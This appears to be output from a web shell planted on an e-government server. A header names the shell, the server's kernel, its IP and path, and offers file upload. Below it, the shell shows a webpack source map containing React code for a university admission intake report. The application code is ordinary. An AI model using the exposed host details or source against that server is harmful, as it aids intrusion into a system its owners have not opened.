0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.21.247.221


Current Path : /var/www/egov/build/static/js/
Upload File :
Current File : /var/www/egov/build/static/js/52.0d04aff5.chunk.js.map

{"version":3,"sources":["pages/admission/intake-report/index.js","../node_modules/semantic-ui-react/dist/es/elements/Divider/Divider.js","pages/admission/intake-report/intake_report.js"],"names":["IntRpt","state","frmDeggrp","reportType","fdeggrpfrm","fdeggrpto","fcollfrm","fcollto","displayTbl","getDegrees","e","data","_this","setState","value","handleChange","type","Object","_Users_prashanth_univadmin_react_node_modules_babel_preset_react_app_node_modules_babel_runtime_helpers_esm_defineProperty__WEBPACK_IMPORTED_MODULE_0__","name","handleSubmit","fdeggrp","props","user","_this$state","getReport","showError","header","content","handleReport","_this$state2","console","log","window","open","ReportAPI","univcode","handleCancel","reportFormat","renderHeader","react__WEBPACK_IMPORTED_MODULE_6___default","a","createElement","semantic_ui_react__WEBPACK_IMPORTED_MODULE_8__","Header","style","display","className","semantic_ui_react__WEBPACK_IMPORTED_MODULE_9__","basic","color","onClick","icon","react_router_dom__WEBPACK_IMPORTED_MODULE_7__","to","renderForm","_this$state3","wheight","wHeight","fluid","Content","semantic_ui_react__WEBPACK_IMPORTED_MODULE_10__","Description","overflowY","height","concat","semantic_ui_react__WEBPACK_IMPORTED_MODULE_11__","Group","Input","placeholder","width","onChange","label","marginTop","Field","semantic_ui_react__WEBPACK_IMPORTED_MODULE_12__","selection","search","options","text","_intake_report__WEBPACK_IMPORTED_MODULE_15__","reportdet","collegeReport","rtype","this","Component","connect","deggrp","univ","funivcode","fetchDegGrp","_babel_runtime_helpers_extends__WEBPACK_IMPORTED_MODULE_0__","__webpack_require__","_babel_runtime_helpers_extends__WEBPACK_IMPORTED_MODULE_0___default","n","classnames__WEBPACK_IMPORTED_MODULE_1__","classnames__WEBPACK_IMPORTED_MODULE_1___default","react__WEBPACK_IMPORTED_MODULE_2__","react__WEBPACK_IMPORTED_MODULE_2___default","_lib__WEBPACK_IMPORTED_MODULE_3__","_lib__WEBPACK_IMPORTED_MODULE_4__","_lib__WEBPACK_IMPORTED_MODULE_5__","_lib__WEBPACK_IMPORTED_MODULE_6__","Divider","children","clearing","fitted","hidden","horizontal","inverted","section","vertical","classes","rest","ElementType","isNil","handledProps","propTypes","__webpack_exports__","IntakeReport","colgdet","searchVal","searchTable","string","searchPrbatch","filter","o","keys","some","k","toLowerCase","includes","renderTable","report","react__WEBPACK_IMPORTED_MODULE_5___default","marginBottom","backgroundColor","semantic_ui_react__WEBPACK_IMPORTED_MODULE_6__","fontSize","semantic_ui_react__WEBPACK_IMPORTED_MODULE_7__","celled","padded","selectable","size","Row","textAlign","HeaderCell","Body","map","el","i","key","overflow","Cell","fcollcode","fcollname","town","fprincipalname","fmobile","faltmobile","femail","renderTaggedTable","structured","rowSpan","colSpan","cnt_code","center_name","cnt_contact","tagged_code","tagged_colg_name","tagged_contact","prevProps"],"mappings":"qRAUMA,6MACJC,MAAQ,CACNC,UAAW,GACXC,WAAY,eACZC,WAAY,IACZC,UAAW,QACXC,SAAU,IACVC,QAAS,QACTC,YAAY,KAGdC,WAAa,SAACC,EAAGC,GAEfC,EAAKC,SAAS,CAAEX,UAAWS,EAAKG,WAGlCC,aAAe,SAACL,EAAGC,GACjB,OAAQA,EAAKK,MACX,IAAK,OACHJ,EAAKC,SAALI,OAAAC,EAAA,EAAAD,CAAA,GACGN,EAAKQ,KAAOR,EAAKG,QAEtB,QACEF,EAAKC,SAALI,OAAAC,EAAA,EAAAD,CAAA,GACGN,EAAKQ,KAAOR,EAAKG,QAGxBF,EAAKC,SAAS,CAAEL,YAAY,OAG9BY,aAAe,WAAM,IACXC,EAAYT,EAAKU,MAAMC,KAAvBF,QADWG,EAE8CZ,EAAKX,MAA9DE,EAFWqB,EAEXrB,WAAYC,EAFDoB,EAECpB,WAAYC,EAFbmB,EAEanB,UAAWC,EAFxBkB,EAEwBlB,S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,KAAK9D,MAAM2D,6CA2ItC,OADAlD,QAAQC,IAAIoD,KAAK9D,MAAM2D,UAAWG,KAAK9D,MAAM2D,UAAWG,KAAK9D,MAAM6D,OACvC,MAAxBC,KAAK9D,MAAM2D,UAA0B,KAEd,OAAzBG,KAAK9D,MAAM2D,WACS,oCAApBG,KAAK9D,MAAM6D,MAEJC,KAAK6E,oBAEL7E,KAAKgD,qBA3JS/C,cAgKZkC","file":"static/js/52.0d04aff5.chunk.js","sourcesContent":["import React, { Component } from \"react\";\nimport { Link } from \"react-router-dom\";\nimport { Card, Button, Form, Dropdown, Divider } from \"semantic-ui-react\";\nimport { connect } from \"react-redux\";\nimport { fetchDegGrp, getReport } from \"../../../actions\";\nimport IntakeReport from \"./intake_report\";\nimport { ReportAPI } from \"../../../apis/consts\";\nimport { showError } from \"../../../actions\";\nimport { wHeight } from \"../../parms\";\n\nclass IntRpt extends Component {\n  state = {\n    frmDeggrp: \"\",\n    reportType: \"College Wise\",\n    fdeggrpfrm: \"0\",\n    fdeggrpto: \"zzzzz\",\n    fcollfrm: \"0\",\n    fcollto: \"zzzzz\",\n    displayTbl: false\n  };\n\n  getDegrees = (e, data) => {\n    // console.log(data.value);\n    this.setState({ frmDeggrp: data.value });\n  };\n\n  handleChange = (e, data) => {\n    switch (data.type) {\n      case \"text\":\n        this.setState({\n          [data.name]: data.value\n        });\n      default:\n        this.setState({\n          [data.name]: data.value\n        });\n    }\n    this.setState({ displayTbl: false });\n  };\n\n  handleSubmit = () => {\n    const { fdeggrp } = this.props.user;\n    const { reportType, fdeggrpfrm, fdeggrpto, fcollfrm, fcollto } = this.state;\n    if (fdeggrp === \"\") {\n      const error = { header: \"Error\", content: \"Select Degree Group\" };\n      this.props.showError(error);\n      return;\n    }\n    this.props.getReport(\n      reportType,\n      \"tables\",\n      fdeggrp,\n      fdeggrpfrm,\n      fdeggrpto,\n      fcollfrm,\n      fcollto\n    );\n    this.setState({ displayTbl: true });\n  };\n\n  handleReport = () => {\n    const { fdeggrp } = this.props.user;\n    const { reportType, fdeggrpfrm, fdeggrpto, fcollfrm, fcollto } = this.state;\n    console.log(this.state);\n    if (fdeggrp === \"\") {\n      const error = { header: \"Error\", content: \"Select Degree Group\" };\n      this.props.showError(error);\n      return;\n    }\n\n    // &univcode=041\n    // &deggrp=UG\n    // &format=PDF\n    // &fcollfrom=0\n    // &fcollto=ZZZZ\n    // &fdegfrom=0\n    // &fdegto=ZZZZ\n    // &fdeggrpfrom=UG\n    // &fdeggrpto=UG\n    // &fsubfrom=0\n    // &fsubto=ZZZZ\n    // &fexamrange=A%27,%27B%27,%27C%27,%27D%27,%27E%27,%27F\n    window.open(\n      ReportAPI +      \n      \"admissioncombinationwiseintake\" +\n        \"&univcode=\" +\n        this.props.univcode +\n        \"&deggrp=\" +\n        fdeggrp +\n        \"&fdeggrpfrom=\" +\n        fdeggrpfrm +\n        \"&fdeggrpto=\" +\n        fdeggrpto +\n        \"&fcollfrom=\" +\n        fcollfrm +\n        \"&fcollto=\" +\n        fcollto +\n        \"&val=\" +\n        reportType +\n        \"&format=\" +\n        \"PDF\",\n      \"_blank\"\n    );\n  };\n\n  handleCancel = () => {\n    this.setState({\n      reportType: \"\",\n      fdeggrpfrm: \"0\",\n      fdeggrpto: \"zzzzz\",\n      fcollfrm: \"0\",\n      fcollto: \"zzzzz\",\n      reportFormat: \"\",\n      frmDeggrp: \"\"\n    });\n  };\n\n  renderHeader = () => {\n    return (\n      <Card.Header style={{ display: \"flex\" }}>\n        <h3>Intake Report</h3>\n        <div className=\"ml-auto\">\n          <Button\n            basic\n            color=\"blue\"\n            onClick={this.handleReport}\n            content=\"Report\"\n            icon=\"file\"\n          />\n          <Button\n            basic\n            color=\"black\"\n            icon=\"ban\"\n            onClick={this.handleCancel}\n            content=\"Cancel\"\n          />\n          <Link to=\"/dashboard\">\n            <Button basic color=\"red\" content=\"Exit\" icon=\"home\" />\n          </Link>\n        </div>\n      </Card.Header>\n    );\n  };\n\n  renderForm = () => {\n    const {\n      displayTbl,\n      reportType,\n      fdeggrpfrm,\n      fdeggrpto,\n      fcollfrm,\n      fcollto\n    } = this.state;\n\n    const reporttypeOptions = [\n      { value: \"College Wise\", text: \"College Wise\" },\n      { value: \"Degree Wise\", text: \"Degree Wise\" },      \n    ];\n    const wheight = wHeight();\n    console.log(reportType, displayTbl);\n    return (\n      <div className=\"animated fadeIn\">\n        <Card fluid>\n          <Card.Content>\n            {this.renderHeader()}\n            <Divider />\n            <Card.Description\n              style={{ overflowY: \"auto\", height: `${wheight}px` }}\n            >\n              <div className=\"col-md-6\">\n                <Form>                  \n                  {reportType == \"College Wise\" ? (\n                    <div>\n                      <Form.Group>\n                        <Form.Input\n                          placeholder=\"From\"\n                          value={fcollfrm}\n                          width={8}\n                          name=\"fcollfrm\"\n                          onChange={this.handleChange}\n                          label=\"College Code Range\"\n                        />\n                        <Form.Input\n                          placeholder=\"To\"\n                          name=\"fcollto\"\n                          value={fcollto}\n                          width={8}\n                          onChange={this.handleChange}\n                          style={{ marginTop: \"1.6em\" }}\n                        />\n                      </Form.Group>\n                      \n                    </div>\n                  ) : null}\n                  <Form.Group>\n                    <Form.Input\n                      placeholder=\"From\"\n                      value={fdeggrpfrm}\n                      width={8}\n                      name=\"fdeggrpfrm\"\n                      onChange={this.handleChange}\n                      label=\"Degree Group Range\"\n                    />\n                    <Form.Input\n                      placeholder=\"To\"\n                      name=\"fdeggrpto\"\n                      value={fdeggrpto}\n                      width={8}\n                      onChange={this.handleChange}\n                      style={{ marginTop: \"1.6em\" }}\n                    />\n                  </Form.Group>\n                  \n                  <Form.Group>\n                    <Form.Field width={16}>\n                      <label>Report Type</label>\n                      <Dropdown\n                        placeholder=\"Select Report Type\"\n                        name=\"reportType\"\n                        value={reportType}\n                        selection\n                        search\n                        options={reporttypeOptions}\n                        onChange={this.handleChange}\n                      />\n                    </Form.Field>\n                  </Form.Group>\n\n                  {/* <Button color=\"blue\" onClick={this.handleSubmit}>\n                    Submit\n                  </Button> */}\n                  <br />\n                </Form>\n              </div>\n              {displayTbl ? (\n                <IntakeReport\n                  reportdet={this.props.collegeReport}\n                  rtype={reportType}\n                />\n              ) : null}\n            </Card.Description>\n          </Card.Content>\n        </Card>\n      </div>\n    );\n  };\n  render() {\n    // console.log(\"collegeReport\",this.props.collegeReport);\n    return this.renderForm();\n  }\n}\n\nconst mapStateToProps = state => {\n  return {\n    deggrp: state.deggrp,\n    collegeReport: state.collegeReport,\n    univcode: state.univ.funivcode,\n    user: state.user\n  };\n};\nexport default connect(\n  mapStateToProps,\n  {\n    fetchDegGrp,\n    getReport,\n    showError\n  }\n)(IntRpt);\n","import _extends from \"@babel/runtime/helpers/extends\";\nimport cx from 'classnames';\nimport PropTypes from 'prop-types';\nimport React from 'react';\nimport { childrenUtils, customPropTypes, getElementType, getUnhandledProps, useKeyOnly } from '../../lib';\n/**\n * A divider visually segments content into groups.\n */\n\nfunction Divider(props) {\n  var children = props.children,\n      className = props.className,\n      clearing = props.clearing,\n      content = props.content,\n      fitted = props.fitted,\n      hidden = props.hidden,\n      horizontal = props.horizontal,\n      inverted = props.inverted,\n      section = props.section,\n      vertical = props.vertical;\n  var classes = cx('ui', useKeyOnly(clearing, 'clearing'), useKeyOnly(fitted, 'fitted'), useKeyOnly(hidden, 'hidden'), useKeyOnly(horizontal, 'horizontal'), useKeyOnly(inverted, 'inverted'), useKeyOnly(section, 'section'), useKeyOnly(vertical, 'vertical'), 'divider', className);\n  var rest = getUnhandledProps(Divider, props);\n  var ElementType = getElementType(Divider, props);\n  return React.createElement(ElementType, _extends({}, rest, {\n    className: classes\n  }), childrenUtils.isNil(children) ? content : children);\n}\n\nDivider.handledProps = [\"as\", \"children\", \"className\", \"clearing\", \"content\", \"fitted\", \"hidden\", \"horizontal\", \"inverted\", \"section\", \"vertical\"];\nDivider.propTypes = process.env.NODE_ENV !== \"production\" ? {\n  /** An element type to render as (string or function). */\n  as: customPropTypes.as,\n\n  /** Primary content. */\n  children: PropTypes.node,\n\n  /** Additional classes. */\n  className: PropTypes.string,\n\n  /** Divider can clear the content above it. */\n  clearing: PropTypes.bool,\n\n  /** Shorthand for primary content. */\n  content: customPropTypes.contentShorthand,\n\n  /** Divider can be fitted without any space above or below it. */\n  fitted: PropTypes.bool,\n\n  /** Divider can divide content without creating a dividing line. */\n  hidden: PropTypes.bool,\n\n  /** Divider can segment content horizontally. */\n  horizontal: PropTypes.bool,\n\n  /** Divider can have its colours inverted. */\n  inverted: PropTypes.bool,\n\n  /** Divider can provide greater margins to divide sections of content. */\n  section: PropTypes.bool,\n\n  /** Divider can segment content vertically. */\n  vertical: PropTypes.bool\n} : {};\nexport default Divider;","import React, { Component } from \"react\";\nimport { Table, Input } from \"semantic-ui-react\";\nimport \"react-table/react-table.css\";\nimport \"../../../index.css\";\n\nclass IntakeReport extends Component {\n  state = { colgdet: [], searchVal: \"\" };\n\n  componentDidMount() {\n    this.setState({ colgdet: this.props.reportdet });\n  }\n\n  componentDidUpdate(prevProps) {\n    if (this.props.reportdet !== prevProps.reportdet) {\n      this.setState({ colgdet: this.props.reportdet });\n    }\n  }\n\n  searchTable = (e, data) => {\n    const string = data.value;\n    const searchPrbatch = this.props.reportdet.filter(o =>\n      Object.keys(o).some(k =>\n        o[k].toLowerCase().includes(string.toLowerCase())\n      )\n    );\n    this.setState({ colgdet: searchPrbatch, searchVal: data.value });\n  };\n\n  renderTable = () => {\n    const report = this.state.colgdet;\n    return (\n      <div className=\"mt-3\">\n        <hr />\n        <div\n          style={{\n            marginBottom: \"1em\",\n            backgroundColor: \"white\"\n          }}\n          className=\"stick\"\n        >\n          <Input\n            icon=\"search\"\n            fluid\n            placeholder=\"Search...\"\n            onChange={this.searchTable}\n            value={this.state.searchVal}\n            style={{ fontSize: \"1.1em\" }}\n          />\n        </div>\n        <div>\n          <Table\n            celled\n            padded\n            selectable\n            size=\"small\"\n            color=\"olive\"\n            className=\"tbl sticky\"\n          >\n            <Table.Header>\n              <Table.Row textAlign=\"center\">\n                <Table.HeaderCell>Sl.No.</Table.HeaderCell>\n                <Table.HeaderCell>College Code</Table.HeaderCell>\n                <Table.HeaderCell>College Name</Table.HeaderCell>\n                <Table.HeaderCell>Town</Table.HeaderCell>\n                <Table.HeaderCell>Principal Name</Table.HeaderCell>\n                <Table.HeaderCell>Mobile</Table.HeaderCell>\n                <Table.HeaderCell>Alt. Contact</Table.HeaderCell>\n                <Table.HeaderCell>Email Id</Table.HeaderCell>\n              </Table.Row>\n            </Table.Header>\n            <Table.Body>\n              {report.map((el, i) => {\n                return (\n                  <Table.Row key={i} style={{ overflow: \"hidden\" }}>\n                    <Table.Cell textAlign=\"center\">{i + 1}</Table.Cell>\n                    <Table.Cell>{el.fcollcode}</Table.Cell>\n                    <Table.Cell>{el.fcollname}</Table.Cell>\n                    <Table.Cell>{el.town}</Table.Cell>\n                    <Table.Cell>{el.fprincipalname}</Table.Cell>\n                    <Table.Cell>{el.fmobile}</Table.Cell>\n                    <Table.Cell>{el.faltmobile}</Table.Cell>\n                    <Table.Cell>{el.femail}</Table.Cell>\n                  </Table.Row>\n                );\n              })}\n            </Table.Body>\n          </Table>\n        </div>\n      </div>\n    );\n  };\n\n  renderTaggedTable = () => {\n    const report = this.state.colgdet;\n\n    return (\n      <div className=\"mt-3\">\n        <hr />\n        <div\n          style={{\n            marginBottom: \"1em\",\n            backgroundColor: \"white\"\n          }}\n          className=\"stick\"\n        >\n          <Input\n            icon=\"search\"\n            fluid\n            placeholder=\"Search...\"\n            onChange={this.searchTable}\n            value={this.state.searchVal}\n            style={{ fontSize: \"1.1em\" }}\n          />\n        </div>\n        <div>\n          <Table celled padded selectable structured size=\"small\" color=\"olive\">\n            <Table.Header>\n              <Table.Row textAlign=\"center\">\n                <Table.HeaderCell rowSpan=\"2\">Sl.No.</Table.HeaderCell>\n                <Table.HeaderCell colSpan=\"3\">Center</Table.HeaderCell>\n                <Table.HeaderCell colSpan=\"3\">Tagged Colleges</Table.HeaderCell>\n              </Table.Row>\n              <Table.Row textAlign=\"center\">\n                <Table.HeaderCell>Code</Table.HeaderCell>\n                <Table.HeaderCell>Name</Table.HeaderCell>\n                <Table.HeaderCell>Contact</Table.HeaderCell>\n                <Table.HeaderCell>Code</Table.HeaderCell>\n                <Table.HeaderCell>Name</Table.HeaderCell>\n                <Table.HeaderCell>Contact</Table.HeaderCell>\n              </Table.Row>\n            </Table.Header>\n            <Table.Body>\n              {report.map((el, i) => {\n                return (\n                  <Table.Row key={i} style={{ overflow: \"hidden\" }}>\n                    <Table.Cell textAlign=\"center\">{i + 1}</Table.Cell>\n                    <Table.Cell>{el.cnt_code}</Table.Cell>\n                    <Table.Cell>{el.center_name}</Table.Cell>\n                    <Table.Cell>{el.cnt_contact}</Table.Cell>\n                    <Table.Cell>{el.tagged_code}</Table.Cell>\n                    <Table.Cell>{el.tagged_colg_name}</Table.Cell>\n                    <Table.Cell>{el.tagged_contact}</Table.Cell>\n                  </Table.Row>\n                );\n              })}\n            </Table.Body>\n          </Table>\n        </div>\n      </div>\n    );\n  };\n  render() {\n    console.log(this.props.reportdet, this.props.reportdet, this.props.rtype);\n    if (this.props.reportdet == null) return null;\n    else if (\n      this.props.reportdet !== null &&\n      this.props.rtype == \"Center List With Tagged Colleges\"\n    ) {\n      return this.renderTaggedTable();\n    } else {\n      return this.renderTable();\n    }\n  }\n}\n\nexport default IntakeReport;\n"],"sourceRoot":""}